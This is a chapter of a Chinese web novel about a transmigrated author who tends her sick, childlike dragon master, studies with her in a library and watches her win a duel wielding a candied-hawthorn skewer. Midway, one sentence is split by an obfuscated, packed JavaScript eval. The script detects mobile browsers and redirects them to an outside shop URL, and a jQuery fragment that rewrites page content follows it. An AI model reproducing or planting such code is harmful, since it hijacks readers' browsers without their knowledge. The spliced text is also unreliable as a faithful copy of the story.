18.第 18 章
作品:《穿书后,导师成了师尊》 一夜辗转,沈筠直到天微明才勉强睡去。
再睁开眼,天光已大亮。
她垂眸,瞧见身上趴着一团小龙师尊,仍病得面颊绯红。
却已不似昨夜那般浑身冰寒,呼吸也平稳许多。
倏地,那一团动了动。
睫羽轻颤,眼眸微睁,瞧着半梦半醒。
许是病中昏沉,忘了今夕何夕。她熟门熟路、猫猫祟祟地爬下床榻,而后往另一侧的空榻上攀。
可病得无甚力气,腿又略差些长度,竟半天没攀上去。甚至倏然手脚一滑,险些栽倒。
“小心——”
她被一双手轻柔地托起,随即整只再度落回暖热的怀抱。
沈筠声音含着清浅笑意:“师尊要去哪里?那边榻凉。”
“……”
小龙师尊骤然清醒几分,寒玉般的面容绷紧,抬眼望向徒儿。
不慎被抓包,她的肌肤绯意愈浓,唇瓣紧抿,一双冷眸湿漉漉的。
眼看要哭。
沈筠心头一紧,不忍再逗她,抬手温柔地顺顺毛。
“再睡会儿,还病着呢。”
待将小龙师尊重新哄睡,沈筠轻轻起身,往厨舍去熬粥蒸糕。
一切备妥,她搬来矮桌,将午膳端到床前。
“吃些东西再睡吧。”
这只小龙师尊病得柔弱,垂眼安安静静地用膳,睫羽尖悬着潮意。
怎的这般可怜。
沈筠坐在一旁,恨不能代为受苦。她当初怎么忍心在笔下大虐这样一只师尊的?
“沈筠。”
忽有声音自庭院外传来。
沈筠起身去开门,见燕离立在门外,眉宇间满是关切:
“云昭如何了?本座昨日不在阁中,今晨才得空赶回来。”
沈筠引她入庭院,“师尊仍病着,比昨夜稍好些了。”
燕离走到榻前,袖口探出一缕灵力,轻覆上小龙的脉搏。
片刻后,她眉梢微松。
“是根骨先天孱弱,加之心气略有受损所致。无甚大碍,温养几日便好。”
书中写过,燕离乃是风、木双灵根,在医术上颇有造诣。她既说无大碍,沈筠悬着的心总算放下些许。
只是仍有不解:“心气受损?”
虽然小龙师尊一日哭三回,可都并非因为伤心,不至于心气受损才是。
燕离道:“心气受损乃宽泛之言,喜悲、阴晴、周遭灵气薄郁皆可引发,向来难寻其源。”
沈筠了然。
约莫和“遇事不决湿气重”是一个道理。
燕离又顺势探过灵丹,“灵力充盈,已临近金丹境界。照此修行下去,你师尊用不了多久便可步入成熟期。”
小龙师尊耳朵微动,风轻云淡地抬眼看来。
燕离接着道:“届时灵丹稳固,修行更会一日千里。”
沈筠却略有迟疑:“……这般快么?”
虽早知龙族幼年期短,可这也短得太过突然,让她莫名有些不舍。
燕离含笑:“终究是远古银龙血脉。”
许是身怀要务,她又叮嘱几句温养事宜,便匆匆离去。
用完膳,沈筠看向榻上的一只:“师尊想再睡一会儿么?或者,我抱你去消消食可好?”
不料师尊抬眼望向案头,语气清淡:“想读《玄灵诀》。”
“……”
人还病着,竟这般急于修行。
沈筠拗不过,只得取来书册。又将窗子敞开,让日光明澈地洒入。
小龙师尊斜倚床头,指尖按住书页。她垂着眸,气质斯文冷淡,无半分浮躁。周身书卷气清隽,宛若一幅水墨画。
真的……好像连教授。
连双眼皮掀起的弧度,望来时清冽的眸光,都一模一样。
沈筠一瞬恍惚,竟从稚嫩的眉眼间看见那个成熟的女人,心脏骤紧。
“方才未吃完的蒸糕在何处?”
冷中带糯的声音拉回她的神思。
沈筠眨了眨眼,“在你的锦囊里。”
小龙师尊仔细地取出蒸糕,一块还需两只手才堪堪捧得住。
沈筠无声轻笑。
-
沈筠本以为师尊病中读书只是一时兴起,谁料她自此愈发勤勉。
三日后,小龙师尊彻底好全。
连多歇一日都不肯,执意要去雪羽堂修习。
沈筠只得送她去枕月峰。
踏入学堂前,这只师尊忽然驻足,转身交待:“本尊散学后不回峰。”
沈筠心头一空,连忙追问:“为何?你要去哪里?”
是被同龄兽邀约同玩,还是在枕月峰乐不思蜀?亦或是……
“藏书阁。”小龙师尊淡道,“《玄灵诀》已习完,需添补新书。”
“原来如此。”沈筠松了口气。
小龙师尊眸光清幽地望着她,没再说话。
沈筠问:“我陪你去可好?”
小龙师尊矜傲地颔首,转身进了学堂。
原来是在等这句话。
沈筠扬起笑意。
待雪羽堂散学,她便抱起小龙师尊,往藏书阁而去。
阁内藏书浩如烟海,甫一踏入,浓郁的墨香便袅袅萦来。
沈筠陪着师尊挑出几本适合小龙修行的高阶法诀。翻到其中一本时,轻声道:“这本不能外借,只可在阁中阅读。”
小龙师尊:“那便在此读。”
两人寻了处案几坐下。
此时藏书阁内并无旁人。
窗外霞光漫天,金红余晖洒入室内,映得书页都泛着柔光。
小龙师尊很快沉浸在书中,一目十行。
沈筠也寻了本火灵根相关的典籍。她虽身无火灵根,可丹田内燃着赤火,多学些总能有所裨益。
读了片刻,沈筠只觉这本书的行文风格熟悉,与韩秋所写的《火灵根综述》极为相似。
可翻到署名处,却并非韩秋,而是一位名为殷寒的散修。
这本书篇幅不长,沈筠很快读完。合卷抬眼,小龙师尊仍读得专注,神色沉静。
不由想起从前和连漪在图书馆的日子。那时连教授也如此,一读书便入了迷。
而她,顶多沉浸几小时便开始思绪飘飞,连天花板都能研究半天。
想着,沈筠仰头望去——
这藏书阁极高,内里形制如同一口镇守邪祟的大型金钟罩,肃穆庄严。
夜幕悄然降临。
小龙师尊看完最后一页,轻轻合上书。
她偏头望去,沈筠正伏案睡得酣甜。
年轻女子眉眼温柔似春日远山,怀里瞧着暖融融的。
晚风从敞开的窗吹入,微凉。
“……冷。”
小龙师尊不自觉鼓了下脸颊。
她抿着唇,面无表情地钻进徒儿怀里。
沈筠迷迷糊糊将怀里软团抱紧,片刻才彻底醒神:“唔……书读完了?”
不由发懵,小龙师尊怎在她怀中。
而且瞧着好生无辜。
沈筠暗自反省,起身还了书,踏着夜色返回听竹峰。
天高云淡,晚风轻柔,一路披星戴月。
沈筠稳稳抱着小龙师尊,只觉心
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17215378|196793||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
头满是宁静。
她莫名享受和贪恋这般安稳无虞的日子,只愿更慢、更久一些。
……
-
三月转瞬即逝,雪羽堂修习结业。
洛风玥站在堂中,宣布道:“明日便是结业比试,各学堂门徒皆可参与。尚未拜师者,若在比试中表现亮眼,有机会被各峰长老收入门下;名列前茅者,另有丰厚的奖赏。”
“请诸位明日未时到主峰演武场汇合,带好必备之物。”
沈筠在窗外听得认真。
待接到小龙师尊,她问:“那比试,你可要去?”
小龙师尊颔首:“有始有终。”
沈筠自是支持,回峰后当即给师尊细细收拾妥当。
次日未时,主峰演武场上人影攒动。
燕离立于高台之上,声音随灵力传遍演武场:“本次比试点到即止,切莫伤及对方。请诸位门徒领取令牌,凭令牌抽取首轮对手。”
待令牌发放完毕,慕倾雪走上前,高声宣布:“下面抽取第一场对战门徒——”
话音刚落,沈筠瞧见师尊手上的令牌亮起夺目莹光,场上另一位门徒的令牌也随之呼应。
师尊竟是第一只上场。
沈筠从未见过她正经动手,心下不由紧张,拉过洛风玥再三确认:“洛长老,当真只是点到即止?”
洛风玥哼声:“各大长老都看着,有甚可担忧。”
沈筠这才稍安,将师尊送到演武台边。
演武台宽阔平坦,足以尽情施展身手。
台中央,二人相对峙立,四下霎时阒静无声。
对面门徒倏地抽出一柄雪亮短剑:“请!”
小龙师尊冷淡瞧着她,有礼地颔首,算是回应。
对方却未立即出手,而是蹙起眉:“你的武器呢?我师尊说过,比试须用武器,才算尊重对手。”
“……”
小龙师尊神色未变,从容触摸腰边锦囊,隐约瞧见糕点甜果间有一棒形器物。
一旁沈筠心下咯噔。
完了,原来比试必须要用武器才算尊重么?
她先前以为双方只需互挥灵气即可,尽给师尊准备了些不中的……
便见小龙师尊粉雕玉琢一只立在原地,面对对手的质疑,依旧冷若冰霜、八风不动。
对面门徒面露不快,轻喝一声,持剑直攻而来。
招式虽不算凌厉,却也有模有样,带着几分初生牛犊不怕虎的锐气。
下一瞬,小龙师尊从锦囊里掏出一根红通通圆滚滚的武器。手腕轻挥,身形灵巧如蝶,轻巧地避开攻势。
那武器在阳光下颗颗剔透,糖衣光泽晶莹。
赫然是一串冰糖葫芦。
对面门徒双目圆睁,一时阵脚大乱,惊道:“这……这是……”
小龙师尊神色冷静自若,手持冰糖葫芦,招式行云流水。
她一袭白衣白发,身姿似冷玉冰雪,动作婉若游龙。银白色灵气凛然荡开,清冽又磅礴,看得场上众人不自觉惊叹。
那串冰糖葫芦随招式挥动,甜香隐隐散开。
“嗡——”
小龙师尊手腕一扬,以冰糖葫芦作长剑,气势如虹。
收招定式,衣袂飘逸,孤傲清绝。
最前头一颗果子再承载不住剑势,唰地一下飞了出去。
“小心!”周遭当即有人呼喊。
沈筠睫羽微颤,瞧见那颗圆滚滚的果子直冲自己面门而来。
她不及细想,下意识张口咬住。
“咔嚓。”
清脆的声响过后,酸甜滋味在口中化开。

